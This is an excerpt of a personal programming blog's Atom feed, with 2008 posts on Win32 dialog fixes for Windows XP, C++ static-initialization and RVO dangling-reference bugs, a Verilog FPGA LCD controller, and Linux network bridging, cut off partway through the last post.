<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-23323574</id><updated>2011-04-21T21:38:13.254-05:00</updated><title type='text'>Meditation, The Art of Exploitation</title><subtitle type='html'>Thinking? At last I have discovered it--thought; this alone is inseparable from me. I am, I exist--that is certain. But for how long? For as long as I am thinking. For it could be, that were I totally to cease from thinking, I should totally cease to exist....I am, then, in the strict sense only a thing that thinks.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://meditation-art.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default?start-index=101&amp;max-results=100'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>109</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-23323574.post-3338644812301936352</id><published>2008-07-06T20:22:00.002-05:00</published><updated>2008-07-06T20:48:06.645-05:00</updated><title type='text'>Windows Win32 APIs: changes from win95/98/2000 to XP</title><content type='html'>I needed to code a simple http downloader, a dialog based win32 application. This application provides a simple UI to allow user to put in an URL and click a button to start downloading. Initially I also want to provide a RichEdit text area to log transactions and messages for debugging/diagnosis purpose. &lt;br /&gt;&lt;br /&gt;I used to program win32 applications on windows 2000 platform with visual c++ 6.0, using a CmnHdr.H dialog template. This header file has some convenience macros to easily define win32 message handlers. The first problem I encountered is on Windows XP, this header file no longer works well. It can still be made to work after some modifications but the template needs adjustment. It made more sense to throw away to header file and template and just code the dialog box directly using this example code:&lt;br /&gt;&lt;source&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define STRICT&lt;br /&gt;#define WIN32_LEAN_AND_MEAN&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include "resource.h"&lt;br /&gt;&lt;br /&gt;BOOL CALLBACK DialogProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) {&lt;br /&gt; switch (message) {&lt;br /&gt;  case WM_INITDIALOG:&lt;br /&gt;   return (TRUE);&lt;br /&gt;  case WM_COMMAND:&lt;br /&gt;   switch (wParam) {&lt;br /&gt;    case IDOK:&lt;br /&gt;    case IDCANCEL:&lt;br /&gt;     EndDialog(hDlg, TRUE);&lt;br /&gt;     return (TRUE);&lt;br /&gt;     }&lt;br /&gt;   break;&lt;br /&gt; }&lt;br /&gt;return (FALSE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&lt;br /&gt; int ReturnValue;&lt;br /&gt;        ReturnValue = DialogBoxParam(NULL, MAKEINTRESOURCE(IDD_DIALOG1), NULL, DialogProc, NULL);&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/source&gt;&lt;br /&gt;&lt;br /&gt;The 2nd problem really puzzled me. My dialogbox won't show up no matter what. DialogBox returned -1 but GetLastError returned 0. Debugging into the win32 library code quickly showed me that there is something intricately wrong and -1 is returned from win32 internals. After spending many hours to resolve this issue, I finally found the solution from the win32.programmer.ui newsgroups. The answer is an win32 API called InitCommonControlsEx. On WinXP, one must call this API to use standard controls, otherwise the syptom is exactly as I described, the dialogbox won't show up (for some people, the dialog box would show up but without controls). &lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://simplesamples.info/Windows/DlgHello.php&lt;br /&gt;2. http://msdn.microsoft.com/en-us/library/bb775697(VS.85).aspx&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3338644812301936352?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3338644812301936352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3338644812301936352'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/07/windows-win32-apis-changes-from.html' title='Windows Win32 APIs: changes from win95/98/2000 to XP'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-3179610800253325820</id><published>2008-05-14T16:43:00.002-05:00</published><updated>2008-05-14T17:10:58.080-05:00</updated><title type='text'>C++: static initialization order fiasco and mixed language programming</title><content type='html'>As c++ faq-lite puts it, 'static initialization order fiasco' is "a subtle way to crash your program" (1). The C++ run time system exhibits a phenomenon, static objects in the global scope can initialize in arbitrary order between different builds. In other words, if there are two static objects in the global scope called A and B in a program, in one build with a compiler on a platform, A could initialize before B but on another platform with another compiler in a different build, B could initialize before A. This could happen even on a single platform with a single compiler but different build options (e.g. optimization levels)&lt;br /&gt;&lt;br /&gt;The similarity of compiler dependency is striking between this problem and the RVO problem in the previous entry. And *similarly* any failure is a indication of coding defect by the programmer. A hypothetical scenario with the 'static initialization order fiasco' is such:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;&lt;br /&gt;A.hpp&lt;br /&gt;struct A{&lt;br /&gt;   static bool initialized;&lt;br /&gt;   A() : initialized(true) {}&lt;br /&gt;};&lt;br /&gt;A.cpp&lt;br /&gt;bool A::initialized;&lt;br /&gt;&lt;br /&gt;B.hpp&lt;br /&gt;struct B{&lt;br /&gt;   B(){&lt;br /&gt;       if(A::initialized) x = 1;&lt;br /&gt;       else x = 0;&lt;br /&gt;   }&lt;br /&gt;   static int x;&lt;br /&gt;};&lt;br /&gt;int B:x;&lt;br /&gt;&lt;br /&gt;C.cpp&lt;br /&gt;void foo(){&lt;br /&gt;    int fiasco = B:x;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;What should be the value of fiasco inside foo when the program runs? It could be either 0 or 1. Thus the program exhibits unreliable behavior.&lt;br /&gt;&lt;br /&gt;Ok, now we know what's 'static initialization order fiasco', what does it have to do with mixed language programming? In mixed language programming, specifically between C++ and something else, let's say G, if G's run time system is dominate and starting user code is written in G (compiled and linked with G compiler/linker), G should refrain from calling any C++ code that may reference static objects (e.g. void foo()). Take a look at this bug.&lt;br /&gt;&lt;br /&gt;Process received signal 11 (SIGSEGV)&lt;br /&gt;__CPR123____ls__tm__30_Q2_3std20char_traits__tm__2_c__3stdFRQ2_3std25basic_ostre/opt/ctl/CC/5.5.0.9/include/ostream+???    (???) at ostream&lt;br /&gt;                c_strings_+0x00F0 (0x1004AF0) at A.C:48&lt;br /&gt;               stringtest_+0x0874 (0x1022374) at B.F90:77 &lt;br /&gt;&lt;br /&gt;Here is A.C:48&lt;br /&gt;      cout &lt;&lt; "\n\n-- entering c_strings" &lt;&lt; endl;&lt;br /&gt;&lt;br /&gt;http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.12&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3179610800253325820?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3179610800253325820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3179610800253325820'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/05/c-static-initialization-order-fiasco.html' title='C++: static initialization order fiasco and mixed language programming'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5723171138975673719</id><published>2008-05-13T15:19:00.004-05:00</published><updated>2008-05-13T16:59:43.933-05:00</updated><title type='text'>C++: return value optimization (RVO) and reference class member</title><content type='html'>Recently I was experimenting with expression templates (1,2), I was making good progress with my toy code until suddenly I started getting correct answer from optimized build (-O2) and segmentation faults from debug build (-O0). With judicious object creation/destruction tracer code, it's clear to me return value optimization (3,4) or RVO is playing a trick here. This is troublesome as the program behavior depends on unreliable optimization from a compiler. When RVO optimization is not available, the program produces wrong result. This syndrome typically means there is a problem in the source code that binds variables (reference or pointer type) to temporary stack object and later references it while the temporary stack object has gone out of scope and become invalid. &lt;br /&gt;&lt;br /&gt;The source code will make the problem clearer and easier to explain:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;template &lt; typename E&gt;&lt;br /&gt;struct expr {&lt;br /&gt;    double eval() const {&lt;br /&gt;        return e.eval();&lt;br /&gt;    };&lt;br /&gt;    double eval() {&lt;br /&gt;        return e.eval();&lt;br /&gt;    };&lt;br /&gt;&lt;br /&gt;    expr(const E &amp; e) : e(e) {}&lt;br /&gt;    E e;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class Literal {&lt;br /&gt;public:&lt;br /&gt;   Literal(double v) : val_(v) {}&lt;br /&gt;   double eval() const { return val_; }&lt;br /&gt;private:&lt;br /&gt;   const double val_;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class Variable {&lt;br /&gt;public:&lt;br /&gt;   Variable(double&amp; v) : val_(v) { cout &lt;&lt; &amp;val_ &lt;&lt; " default initialized " &lt;&lt; id++ &lt;&lt; endl;}&lt;br /&gt;   Variable(const Variable &amp; v) : val_(*&amp;(v.val_)) { cout &lt;&lt; &amp;val_ &lt;&lt; " copy initialized " &lt;&lt; this &lt;&lt; ' ' &lt;&lt; *(double *)this &lt;&lt; ' ' &lt;&lt; id++ &lt;&lt; endl; }&lt;br /&gt;   ~Variable() { cout &lt;&lt; &amp;val_ &lt;&lt; " destroyed" &lt;&lt; endl; }&lt;br /&gt;   double eval() const { cout &lt;&lt; &amp;val_ &lt;&lt; " eval " &lt;&lt; this &lt;&lt; ' ' &lt;&lt; &amp;(this-&gt;val_) &lt;&lt; endl; return val_; }&lt;br /&gt;private:&lt;br /&gt;   double&amp; val_;&lt;br /&gt;   static int id;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int Variable::id = 0;&lt;br /&gt;&lt;br /&gt;// Abstraction of a binary expression&lt;br /&gt;template &lt; typename expr1, typename expr2, typename binop&gt;&lt;br /&gt;struct BinaryExpr {&lt;br /&gt;    double eval() const {&lt;br /&gt;        return binop::eval(_expr1.eval(), _expr2.eval());&lt;br /&gt;    }&lt;br /&gt;    BinaryExpr(const expr1 &amp; e1, const expr2 &amp; e2)&lt;br /&gt;     : _expr1(e1),_expr2(e2) {}&lt;br /&gt;    BinaryExpr(const BinaryExpr &amp; be) : _expr1(be._expr1), _expr2(be._expr2) { cout &lt;&lt; "BE copy initiailized" &lt;&lt; endl; }&lt;br /&gt;private:&lt;br /&gt;    const expr1 &amp; _expr1; &lt;br /&gt;    // Cannot use reference here (const expr1 &amp;) because _expr1 may refer to a temporary stack object and becomes invalid when the bound object went ou&lt;br /&gt;t of scope later&lt;br /&gt;    const expr2 &amp; _expr2;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Abstraction of semantic plus operation '+'&lt;br /&gt;struct plusOp {&lt;br /&gt;    static double eval (const double &amp; d1, const double &amp; d2) {&lt;br /&gt;        return d1 + d2;&lt;br /&gt;    }&lt;br /&gt;};&lt;br /&gt;// Expression Traits class, convert primitive type to Literal type&lt;br /&gt;template &lt; typename T&gt;&lt;br /&gt;struct ExprTraits&lt;br /&gt;{&lt;br /&gt;    typedef T type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;&gt;&lt;br /&gt;struct ExprTraits&lt; int&gt;&lt;br /&gt;{&lt;br /&gt;    typedef Literal type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt;&gt;&lt;br /&gt;struct ExprTraits&lt; double&gt;&lt;br /&gt;{&lt;br /&gt;    typedef Literal type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// This is the critical piece in building expression template&lt;br /&gt;// An overloaded operator builds an expression that can be evaluated later.&lt;br /&gt;template &lt; typename expr1, typename expr2&gt;&lt;br /&gt;expr&lt; BinaryExpr&lt; typename ExprTraits&lt; expr1&gt;::type, typename ExprTraits&lt; expr2&gt;::type, plusOp&gt; &gt;&lt;br /&gt;operator + (const expr1 &amp; e1, const expr2 &amp; e2){&lt;br /&gt;    typedef BinaryExpr&lt; typename ExprTraits&lt; expr1&gt;::type, typename ExprTraits&lt; expr2&gt;::type, plusOp&gt; ExprT;&lt;br /&gt;    return expr&lt; ExprT&gt;(ExprT(typename ExprTraits&lt; expr1&gt;::type(e1), typename ExprTraits&lt; expr2&gt;::type(e2)));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;template &lt; typename E&gt;&lt;br /&gt;double eval(expr&lt; E&gt; e){&lt;br /&gt;    return e.eval();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;    double x = 10;&lt;br /&gt;    Variable v(x);&lt;br /&gt;    Literal l(3);&lt;br /&gt;    cout &lt;&lt; &amp;x &lt;&lt; ' ' &lt;&lt; x &lt;&lt; endl;&lt;br /&gt;&lt;br /&gt;    // evaluate expressions&lt;br /&gt;    cout &lt;&lt; sizeof(v) &lt;&lt; ' ' &lt;&lt; eval(v + 10.0) &lt;&lt; endl;&lt;br /&gt;}&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The problem as indicated in the source code comment, is with the member variables _expr1, _expr2 of BinaryExpr. BinaryExpr can be constructed from 2 participating expressions (e1, e2). When _expr1 is declared as const expr1 &amp;, it binds to the first argument e1. This is the problem, when RVO is not available, it's conceivable (as shown in this example) that BinaryExpr's constructor can be invoked with temporary stack objects as arguments. When it happens, _expr1 is bound to a stack local object and later on causes erratic program behavior when referenced as the stack local object went out of scope. To fix this, a deep copy (more precisely until nothing is bound to temporary objects that can go out of scope independently) is required.&lt;br /&gt;&lt;br /&gt;Careful readers may raise the question why in Variable, there is a 'double &amp; val_'. Will this be a problem? Yes and No. Yes, in general, it holds true that a reference or a pointer type variable (regardless if it's a class member variable or not) when bound to a temporary stack local variable should never *dereference* that object later when the object goes out of scope. No, in this toy program, all 'double &amp; val_' in all Variable instances are carefully referenced to '10.0' in the expression in main function and '10.0' only goes out of scope when eval() finishes and therefore the code is safe from the dreaded 'dereferencing dead (out of scope) object' problem.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://www.ddj.com/cpp/184401627&lt;br /&gt;2. http://ubiety.uwaterloo.ca/~tveldhui/papers/Expression-Templates/exprtmpl.html&lt;br /&gt;3. http://www.cs.cmu.edu/~gilpin/c++/performance.html&lt;br /&gt;4. http://msdn.microsoft.com/en-us/library/ms364057(VS.80).aspx#nrvo_cpp05_topic4&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5723171138975673719?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5723171138975673719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5723171138975673719'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/05/c-return-value-optimization-rvo-and.html' title='C++: return value optimization (RVO) and reference class member'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6533252548629307611</id><published>2008-04-07T11:57:00.006-05:00</published><updated>2008-05-13T15:18:46.187-05:00</updated><title type='text'>FPGA: LCD display from RS232 interface</title><content type='html'>After more than a month's of studying of verilog and fpga design, I am proud to present the result of my first mini-project. Controlling Spartan3A LCD display with RS232 serial interface from a host computer. The setup is very simple:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;minicom (linux host) &lt;------&gt; RS232 (J27) &lt;-------&gt; LCD (DISP1)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I used the 2 serial interface modules from fpga4fun.com (async_receiver and async_transmitter). I implemented the main serial to lcd control module and the lcd display module. The lcd display module implementation is especially gratifying after it was completed. I learnt a great deal about finite state machine implementation in verilog and how sequential/combinatorial logic work together. Here is the state machine of the lcd controller (drawn using qfsm):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Z8d_fzejWt4/R_pU3-3Wx9I/AAAAAAAAC54/dyiJqhYWimg/s1600-h/lcd_controller_fsm.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_Z8d_fzejWt4/R_pU3-3Wx9I/AAAAAAAAC54/dyiJqhYWimg/s320/lcd_controller_fsm.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5186551241615263698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As you can see, state 2,3,4,5 (I didn't use one-hot encoding) all require that certain signal lines driven at a certain value for a certain amount of time (or number of clks). To achieve such kind of effect, one need to combine a FSM with a counter. The technical details of the requirements can be found in Spartan3A revion D's user's guide (ug334.pdf) in the LCD section.&lt;br /&gt;&lt;br /&gt;The implementation of the lcd controller follows:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;module lcd_controller (clk, rst_n, data_ready, rx_data, lcd_rs, lcd_rw, lcd_e, lcd_4, lcd_5, lcd_6, lcd_7);&lt;br /&gt;&lt;br /&gt;parameter k = 18;&lt;br /&gt;// in register_input mode, the input doesn't have to stay valid&lt;br /&gt;// while the character is being transmitted&lt;br /&gt;parameter register_input = 1;&lt;br /&gt;parameter clr = 8'h0A;&lt;br /&gt;&lt;br /&gt;input                   clk;        // synthesis attribute PERIOD clk "50 MHz"&lt;br /&gt;input                   rst_n;&lt;br /&gt;input                   data_ready;&lt;br /&gt;input   [7:0]           rx_data;&lt;br /&gt;output                  lcd_rs;&lt;br /&gt;output                  lcd_rw;&lt;br /&gt;output                  lcd_e;&lt;br /&gt;output                  lcd_7;&lt;br /&gt;output                  lcd_6;&lt;br /&gt;output                  lcd_5;&lt;br /&gt;output                  lcd_4;&lt;br /&gt;&lt;br /&gt;reg lcd_e, lcd_rs, lcd_rw, lcd_7, lcd_6, lcd_5, lcd_4;&lt;br /&gt;&lt;br /&gt;reg     [k+8:0]         count;&lt;br /&gt;reg     [6:0]           lcd_code;&lt;br /&gt;reg     [2:0]           state;&lt;br /&gt;reg     [2:0]           next_state;&lt;br /&gt;&lt;br /&gt;wire lcd_ready = (state==1);&lt;br /&gt;&lt;br /&gt;// store rx_data locally&lt;br /&gt;reg     [7:0]           lcd_dataReg;&lt;br /&gt;always @(posedge clk) if(data_ready &amp; lcd_ready) lcd_dataReg &lt;= rx_data;&lt;br /&gt;wire    [7:0]           lcd_dataD = register_input ? lcd_dataReg : rx_data;&lt;br /&gt;&lt;br /&gt;// continuous assignment by default of wire type, clr key clears display&lt;br /&gt;wire clear = (rx_data == clr)? 1:0;&lt;br /&gt;//assign {lcd_e,lcd_rs,lcd_rw,lcd_7,lcd_6,lcd_5,lcd_4} = lcd_code;&lt;br /&gt;&lt;br /&gt;// sequential logic&lt;br /&gt;always @ (posedge clk or negedge rst_n)&lt;br /&gt;begin&lt;br /&gt;    if(~rst_n)&lt;br /&gt;    begin&lt;br /&gt;        state &lt;= 0;&lt;br /&gt;        next_state &lt;= 0;&lt;br /&gt;        count &lt;= 0;&lt;br /&gt;        lcd_code[6:0] &lt;= 0;&lt;br /&gt;    end&lt;br /&gt;    else&lt;br /&gt;        state &lt;= next_state;&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;always @ (posedge clk)&lt;br /&gt;begin&lt;br /&gt;    case (state)&lt;br /&gt;        3'b000: count &lt;= count + 1;&lt;br /&gt;        3'b001: count &lt;= 0;&lt;br /&gt;        3'b010: count &lt;= (count[4]? 0 : count + 1);&lt;br /&gt;        3'b011: count &lt;= (count[5]? 0 : count + 1);&lt;br /&gt;        3'b100: count &lt;= (count[4]? 0 : count + 1);&lt;br /&gt;        3'b101: count &lt;= (count[10]? 0 : count + 1);&lt;br /&gt;        3'b110: count &lt;= count + 1;&lt;br /&gt;    endcase&lt;br /&gt;    {lcd_e,lcd_rs,lcd_rw,lcd_7,lcd_6,lcd_5,lcd_4} &lt;= lcd_code;&lt;br /&gt;    if(state == 0 || state == 6) lcd_e &lt;= ^count[k+1:k];&lt;br /&gt;end // sequential logic&lt;br /&gt;&lt;br /&gt;// combinatorial logic&lt;br /&gt;always @ (state or count or data_ready or clear) begin&lt;br /&gt;    case(state)&lt;br /&gt;        3'b000:&lt;br /&gt;        begin&lt;br /&gt;            if(count[k+5:k+2] == 12)&lt;br /&gt;                next_state = 3'b1;         // idle_data/1&lt;br /&gt;            else&lt;br /&gt;                next_state = 0;&lt;br /&gt;        end&lt;br /&gt;        3'b001:&lt;br /&gt;        begin&lt;br /&gt;            if(data_ready) begin&lt;br /&gt;                if(clear)&lt;br /&gt;                    next_state = 3'b110;   // clear/6&lt;br /&gt;                else&lt;br /&gt;                    next_state = 3'b10;    // disp_hn/2&lt;br /&gt;            end&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'b1;         // idle_data/1&lt;br /&gt;        end&lt;br /&gt;        3'b010:&lt;br /&gt;        begin&lt;br /&gt;            if(count[4])&lt;br /&gt;                next_state = 3'b11;        // idle_high/3&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'b10;        // disp_hn/3&lt;br /&gt;        end&lt;br /&gt;        3'b011:&lt;br /&gt;        begin&lt;br /&gt;            if(count[5])&lt;br /&gt;                next_state = 3'b100;       // disp_ln/4&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'b11;        // idle_high/3&lt;br /&gt;        end&lt;br /&gt;        3'b100:&lt;br /&gt;        begin&lt;br /&gt;            if(count[4])&lt;br /&gt;                next_state = 3'b101;       // wait/5&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'b100;       // disp_ln/4&lt;br /&gt;        end&lt;br /&gt;        3'b101:&lt;br /&gt;        begin&lt;br /&gt;            if(count[10])&lt;br /&gt;                next_state = 3'b1;         // idle_data/1&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'b101;       // wait/5&lt;br /&gt;        end&lt;br /&gt;        3'b110:&lt;br /&gt;        begin&lt;br /&gt;            if(count[k+3:k+2] == 2)&lt;br /&gt;                next_state = 3'h1;         // idle_data/1&lt;br /&gt;            else&lt;br /&gt;                next_state = 3'h6;         // clear/6&lt;br /&gt;        end&lt;br /&gt;    endcase&lt;br /&gt;end // combinatorial logic&lt;br /&gt;&lt;br /&gt;// output logic&lt;br /&gt;always @(state or count or lcd_dataD) begin&lt;br /&gt;    lcd_code &lt;= 7'h00;&lt;br /&gt;    case(state)&lt;br /&gt;        3'b000:&lt;br /&gt;        begin&lt;br /&gt;            case (count[k+5:k+2])&lt;br /&gt;                0: lcd_code &lt;= 7'h43;        // power-on initialization&lt;br /&gt;                1: lcd_code &lt;= 7'h43;&lt;br /&gt;                2: lcd_code &lt;= 7'h43;&lt;br /&gt;                3: lcd_code &lt;= 7'h42;&lt;br /&gt;                4: lcd_code &lt;= 7'h42;        // function set&lt;br /&gt;                5: lcd_code &lt;= 7'h48;&lt;br /&gt;                6: lcd_code &lt;= 7'h40;        // entry mode set&lt;br /&gt;                7: lcd_code &lt;= 7'h46;&lt;br /&gt;                8: lcd_code &lt;= 7'h40;        // display on/off control&lt;br /&gt;                9: lcd_code &lt;= 7'h4C;&lt;br /&gt;              10: lcd_code &lt;= 7'h40;         // display clear&lt;br /&gt;              11: lcd_code &lt;= 7'h41;&lt;br /&gt;            endcase&lt;br /&gt;        end&lt;br /&gt;        3'b001:&lt;br /&gt;            lcd_code &lt;= 7'h00;&lt;br /&gt;        3'b010:&lt;br /&gt;            lcd_code &lt;= {3'b110, lcd_dataD[7:4]};&lt;br /&gt;        3'b011:&lt;br /&gt;            lcd_code &lt;= 7'b0110000;&lt;br /&gt;        3'b100:&lt;br /&gt;            lcd_code &lt;= {3'b110, lcd_dataD[3:0]};&lt;br /&gt;        3'b101:&lt;br /&gt;            lcd_code &lt;= 7'b0110000;&lt;br /&gt;        3'b110:&lt;br /&gt;        begin&lt;br /&gt;            case(count[k+2])&lt;br /&gt;                  0: lcd_code &lt;= 7'h40;      // display clear&lt;br /&gt;                  1: lcd_code &lt;= 7'h41;&lt;br /&gt;            endcase&lt;br /&gt;        end&lt;br /&gt;    endcase&lt;br /&gt;end // output logic&lt;br /&gt;&lt;br /&gt;endmodule&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6533252548629307611?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6533252548629307611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6533252548629307611'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/04/fpga-lcd-display-from-rs232-interface.html' title='FPGA: LCD display from RS232 interface'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Z8d_fzejWt4/R_pU3-3Wx9I/AAAAAAAAC54/dyiJqhYWimg/s72-c/lcd_controller_fsm.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5808897253564809963</id><published>2008-04-01T09:22:00.003-05:00</published><updated>2008-04-01T10:29:51.474-05:00</updated><title type='text'>Linux Networking 3: network bridge and bump in the wire</title><content type='html'>A Linux network bridge can be understood as a bump in the wire on steroid. In the physical world, a bridge is used to connect multiple landmass together. This notion is used in a similar meaning in networking. A Linux network bridge is virtual and it connects different 'Ethernet' network segments together, albeit transparently to the Ethernet packets going through it.&lt;br /&gt;&lt;br /&gt;Ever wondered what the 'Bridged' networking means in VMWare? It's exactly the kind of network setup allowed by Linux network bridge (practically handled by bridge-utils). Except that VMWare has its own implementation of a virtual network bridge that connects the guest virtual network and the host network together, thus allowing the guest OS virtual network direct access to the external (relative to the host) network.&lt;br /&gt;&lt;br /&gt;Because bridge works at Layer 2 for Ethernet packets, a bridge can often be considered functionally equivalent to a switch, albeit a virtual software solution. The simplest bridge acts as a bump in the wire, connecting different network segments just like a switch. However, bridge has the following distinctive advantages:&lt;br /&gt;&lt;br /&gt;1) A bridge can act as a network interface and assume a binding IP address, allowing network access to the Linux host.&lt;br /&gt;&lt;br /&gt;2) Network packets going through a bridge can be manipulated by iptables, thus allowing greater control such as mangling and filtering not present in switch and bump in the wire.&lt;br /&gt;&lt;br /&gt;Because a virtual bridge only examines Ethernet header (layer 2), it's transparent to IP protocols . This has some implications:&lt;br /&gt;&lt;br /&gt;1) It's important to take care of ARP tables that translate Ethernet address to IP address, no arp poisoning or other monkey business. The Linux host must forward arp packets properly.&lt;br /&gt;&lt;br /&gt;2) It's important to avoid routing loops (cyclic routes through bridges), often requiring turning Spanning Tree Protocol (STP) in network bridges.&lt;br /&gt;&lt;br /&gt;A bridge is most useful in the following scenarios:&lt;br /&gt;&lt;br /&gt;1) Network transparency and redundancy is required for internal network users. Redundant virtual network bridges can be set up (use STP if necessary) to allow non-interrupted network traffic flow.&lt;br /&gt;&lt;br /&gt;2) Administrator needs better packet filtering control over packets striding over network segments.&lt;br /&gt;&lt;br /&gt;3) Simply replacing a hardware switch or act as a bump in the wire (connecting two hosts on same network for example)&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1) http://www.linux-foundation.org/en/Net:Bridge&lt;br /&gt;2) http://www.vmweekly.com/articles/networking_in_vmware/1/&lt;div 